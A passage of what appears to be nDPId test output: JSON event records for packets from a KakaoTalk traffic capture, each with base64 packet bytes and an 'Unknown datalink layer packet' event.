+00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2396,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":247138,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/Y+SAbDNofrEyg1SapdpHcCELR83\/gzk1Q9Jmn2QKchxxSgpR\/mQsCOj4UUSJXOBekBG64GeECXPm"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2396,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2397,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":259192,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/sIeAbDNpfrE2Q1SapdowcT0jJt6UH546zeBUOLLx3L2nM+bROL0XZjur7d8bL4APCkJQv2xbXTzF"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2397,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00798{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2398,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":275244,"pkt_caplen":366,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":366,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAV6w60AALwY\/XG5MjzIKGFK8H5CAyJJ46KX3EeHUgBgANSLxAAABAQgKRNwLfgALTz0XAwEAIJDVnRK9IO5VH3jsDJxc6GQDeM5Oa37f8J2WxCVNUdbrFwMBAQCgVfRpXtO4ydy5BQt9xzFlnVLBU1ZC6fjIQ+XGuwHrBRdCuLFDtZQrw1N0W\/SrTHNol0PDijS+sQcwCG9h5+atY+6Km+IFSgAhlklu0\/r6Wg2kyg3mc7uKAkfJDYYqhx6V8bTiA00KoQH+PzjD15+cy9ZKwXEUNQJ30qp+JKcCLHyfba+ZRAzi1KgF5zEyhwFVxkP3njfBr+f+eHdHaKC1\/CQLf\/3UEWWk7SdlTvzhNsg1vqme8ncVPYSUirIUqu0AHWEWl2umDHnFJ7oMVxTrqF0rHXd0dpLSGB9N\/xdQ05Vpoxe5OJxBN9dMpqfA3gBz8ajzJNW5Req8CS15DWHV"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2398,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2399,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":277716,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTn+kAAPwb5dgoYUrxuTI8ygMgfkPcR4dSSeOnPgBAA+IY8AAABAQgKAAtPSUTcC34="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2399,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2400,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":280585,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/V2CAbDNzfrFbw1SapdpRhsOo6RT5S8L\/CwACP3Wfa+poSao2vy+vk\/+PeFowZ57YDBn+il3XY5b\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2400,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00628{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2401,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":286811,"pkt_caplen":238,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":238,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAN7n+0AAPwb4ywoYUrxuTI8ygMgfkPcR4dSSeOnPgBgA+PYgAAABAQgKAAtPSkTcC34XAwEAILD8GvXdV\/myiIuDRQqKZe\/Pcdbwpyaqq9EdZHpep9RDFwMBAICAczvaQr6d1h\/sv7g1Uu0V9Aadu4P29bqPj6z7nWXDu01cuN1PtM+DIUIeXuq1ul1it0FaxppoXou6mD1E9H9U2ZULllnalP5Z1YJL4+ONHHw1DHZ1a9WS0hy0yIWv7CJWE8qN\/833AIXT3nAzCdd3kKZXluqAsAdKZnOerErl+A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2401,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2402,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":310340,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG0AAEAAPxHbNQoYUrwByQGuLDhaBABZ9zKAbFDui0H92guGVRn5OayKSc1F8abGXGXqrMFFY23LruAY4wbBYiolB9ouBfBLBA96Z6X2PyRpXDNtyftkPFHiOQLg\/AlU9rAtFq+dZAJCqmA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2402,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2403,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":323798,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/UweAbDN0frFfg1SapdrzZPNiFeYHf3Zpo2Zq4fGWkublIRyX+H6+RJfxUrmXRowT\/6pKwP+ji4OU"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2403,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00534{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2404,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":343665,"pkt_caplen":169,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":169,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJkAAEAAHBH94QHJAa4KGFK8WgYoHACFtyCAbFDki0HYWguGVRm3AiUBvfi\/iz432midos6TS1FpPKsYDX7jZEQHt602oFz6u9uwgoqO+GxZkdCN2i3cwHrQXucuOSkXUwB5yTMvPo7iBgCgsT3oUIqLK0Y+b9\/TkBuYIvVJrvatESOPS5FzneyJ9q2U2cXOYl4IsJcS5Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2404,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2405,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":364691,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/cDOAbDN1frFjQ1SapdohVPzRFm6ycgGyelYsqj\/ehEPRaJBQ10+6bge0TNt0aIYO7wmXkZlbDzNX"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2405,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2406,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":368720,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/CGmAbDNqfrE6A1SapdpJ8MbgczU\/T9fD1Ex9M165MNQGvYbBkQtrCtK9CFH0J+ikRMdb+dKGDKBs"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2406,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2407,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":388556,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/gWyAbDNrfrE9w1SapdqpfAubCHnJsgNeYVvUFmtuoeJ0niR0fZwYVH2NwCJqIDUNYTg\/T9JuN36p"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2407,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2408,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":409247,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGUAAEAAPxHbPQoYUrwByQGuLDhaBABRnKKAbFDvi0IBmguGVRnhasDTUxOEnocduGlgETmLYbMUlCt3Sc9nE3+PpaVWb+301hOwV0dlEOhX\/dqjjBOGXtvtxdKXH4Nuv+AO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2408,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00610{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2409,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":410468,"pkt_caplen":226,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":226,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANIAAEAAPxHa0AoYUrwByQGuLDhaBAC+LPGAbFDwi0IFWguGVRmR5O4GhVMQCFZkaJzGlBoEmuL3lMWV81kfvyheEhs5OE6dCU67Z\/W5uKP9tdfUH0BBtjmDfNRdHG9dojLALjAcrwtri1dzBc2hdLMNoGWzgwsB2J+yQDiqWC+TefkJxWWq\/A6xil1EFrKrSzQJ4erWSIBv73pNw8HYeoWf490Rq7pLfC55+Cfqeqly1xoaZQ6b82bmVDW4ArqU25g531hMhTM97DsQo7ULDQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2409,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00477{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2410,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":459326,"pkt_caplen":128,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":128,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHAAAEAAHBH+CgHJAa4KGFK8WgYoHABcpoKAbFDli0HcGguGVRljb5UZju57DHIir9IdJS88YyDM5C6qtelMJ2j2o3Q1yui1cHGT5tgyiEfDQo63xlyDg+FGBKdp9aB8hqABCEC4rq\/bo376Hbc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2410,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2411,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":463813,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/jaqAbDN2frFnA1SapdrUIvWpY2aGvr\/5KmFtsSCZbmn0YLLWGUrpM3HNR3inDQidBiPEEM4qAkaz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2411,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2412,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":487311,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHIAAEAAHBH+CAHJAa4KGFK8WgYoHABewVeAbFDmi0Hf2guGVRm3pfJ1hdxxxgjTz1k95KrIFA1Sqc0jkS5W\/Gkt5v3WtwlimCBEu13iOnEQZCYCTB72GsQ2zoNjtPqybzgmlZPgO9Z7xadizu3Y8A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2412,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2413,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":505530,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/veeAbDN3frFqw1Sapdp4lzc9YuBzX8ZVDe\/6uNIJW+a+zmosgiEbsjmOwzKOrGKnyQmK23i9LMSW"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2413,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00602{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2414,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":514136,"pkt_caplen":217,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":217,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMkAAEAAPxHa2QoYUrwByQGuLDhaBAC17JiAbFDxi0IJGguGVRmTn0pMXjBsuJvk3jrU0KOfzZ\/sKCunV1Qs2JdMFAautyJMz0FkmyzF5zzJvY8RUUi7gAtSuLjaX2PK8MhcCeIKjzUounDNKg0DZxya\/Kiwp9FVsB4Mep4AoqZXaR+QZJG3i4yyk2Aos1z8d2Sz7DP\/wH2B3B+M668vCy\/0A\/9OxUND+Y06OAuFvAMsx06Ff\/JWUfUNaABg2a8QoCI1QHx1MA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2414,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00595{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2415,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":514289,"pkt_caplen":214,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":214,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMYAAEAAPxHa3AoYUrwByQGuLDhaBACycvOAbFDyi0IM2guGVRneTjk0jotQ1UF2hvXdTuES\/9EHc7KHgKWrtge6tZM+Uj8yM8uEVv\/NrnM+EoDgiDHGf7j8F9+Uo8cWzZZEfiUxgaTtWflkUyR6cQaKSnNlvMrHuumHx6hHYevYfZO9DlxvyeGSK7eSfhtIch1888GpAy2k2OthvEKG6lpkOduq2INUmWO0Uc1ZR7FLPFNb4jrD\/B11YtWeCOdzt3sMBQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2415,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2416,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":529151,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/u2CAbDNsfrFBg1SapdrXYZNciG7QDAEoKw8NyQTee2+JwoQ\/lzOfDATTedvt\/h1cS2HI3H6Vv15R"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2416,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2417,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":544043,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/6DqAbDN4frFug1SapdrrJ7\/6FMNsCyOItmPBLp+gPA\/Ox2DeGj9emxQRDKRizctYo\/1CjodBWFQ5"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2417,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2418,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":559272,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/ViqAbDNtfrFFQ1SapdpFmOzGGHyyz8BIjQ2rJDzhpbkL9BNPdBLcThQ9dk3MgK6fTlWCR\/j8i9Ct"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2418,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00506{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2419,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":599341,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIQAAEAAHBH99gHJAa4KGFK8WgYoHABwZzOAbFDni0HjmguGVRlyOS8Gi7118X1\/FjHOx6KSFBayFtO+hkg21swTOopD+IhFXHmNmqEiyti9S\/cpMMbAPMbsEkJxGGbPfy9VcWuFwytjNB0mnqP48w8qu8ldJTULZ2NV9Ev7cQyjVw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2419,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00620{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2420,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":608161,"pkt_caplen":229,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":229,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANUAAEAAPxHazQoYUrwByQGuLDhaBADB9RqAbFDzi0IQmguGVRnybYVnl4JMeNsE9M3xkvI75+\/GgtLx6Uh6NOlKZ3FjBfpyuGkAp25lXhXeQ2DO\/La4ZsdAGU8IXY3x8Z\/irueYrsYd+hMTzUCtqWFRGO+P4+Zecy539Qpt2Cb8fc3QGNKA0a+uEU94Gg67boLnDlIj\/dQe\/qHy4+y2Fdjh8JX\/TsAyVA0CCF1GiKZ82k6DiRxqmhaKGOcttuG\/SuThYhHrCtVq\/Wa6lUWAay1AIA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2420,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2421,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":644660,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/QyaAbDN5frFyQ1SapdokbaePz+OD767igueNg7hcd0BUcU8+riZdl2IQJTeMu6mZDch2siCXR7XS"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2421,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2422,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":655432,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHBH+HgHJAa4KGFK8WgYoHABIemOAbFDoi0HnWguGVRlqS++6\/W5jQ\/tpy8AggAZmwVxvdYv3odf05qGvFGDTFZ\/ttC3g1MGErRLT67SYkImJKTLG"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2422,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2423,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":669165,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/KT6AbDNufrFJA1Sapdpz7QnbC0GBYBSD6aY9LXADkJbCemclTQuSTUi2Qa6VM15Wr+yezx7WJdEZ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2423,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2424,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":682898,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/gCCAbDN6frF2A1SapdqZZBLZf\/uWYmjSqkmDLFzYhr9GKb03a6bxm4VSrJgMj2r0qfG+cob6SeR6"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2424,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2425,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":699286,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAHBH9\/AHJAa4KGFK8WgcoHQBqjZSByAAMC4ZVGehx8cHjdW3vi+gkXBtePKq\/tLALngmWQ4CQoPOzlaWrGJJ8rYwDKi5ON2WGsKqglUf7d2Uo6S0ApsBhbVEpv1uqrwNEMi55PemI+d6AAAAJQPYoQCM4F5V6qA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2425,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00599{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2426,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":710822,"pkt_caplen":218,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":218,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMoAAEAAPxHa2AoYUrwByQGuLDhaBAC2og6AbFD0i0IUWguGVRldDjO4ur7dfDHoXddo6y8YYOgIkBoh1KbnbpsOk9RmY3ZgHFMwPSUuSUF5sXfWGPV1sgkPhj0grss7DB1E3H\/tYuP2lpeiAQ9NNxcJYOw7UgjYJmOPMDhICoRiW4LSBBLGUVUvm6p\/bT+GSgoWzaYqTdXPlC7QUs3MIrSQaEiEBtXmSl5vS7S8ogjYEnw1uA\/lYKoBaCNtpg3uWQG1Bz2jaSQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2426,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00580{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2427,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":711005,"pkt_caplen":203,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":203,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALsAAEAAPxHa5woYUrwByQGuLDhaBACn8PaAbFD1i0IYGguGVRmsMlbnxc\/qs7A1btEFT+Jc6G6P8ADg2ocrt4xIRkhEhsXXeWq9oxXBlejOpv4z5XgSKXtbJpj\/dGCsn\/jYTtNmFlPEKYbKZuiNagdJD2xm6sndN\/74xu0ePmfKYz4475UW1IVqx660oABTDiBC0mUxRBs+fkDqmvTuR9KDC2DhNMzHN1r9j+3Qy+ScJgX3MA04CLQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2427,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2428,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069205,"pkt_ts_usec":740699,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/sViAbDN7frF5w1SapdpHdZS8WsAoqnZGieSQYGwyi66EovXUiL9HCKzzpnAFAY4JUpo4rPIFrNSC"} 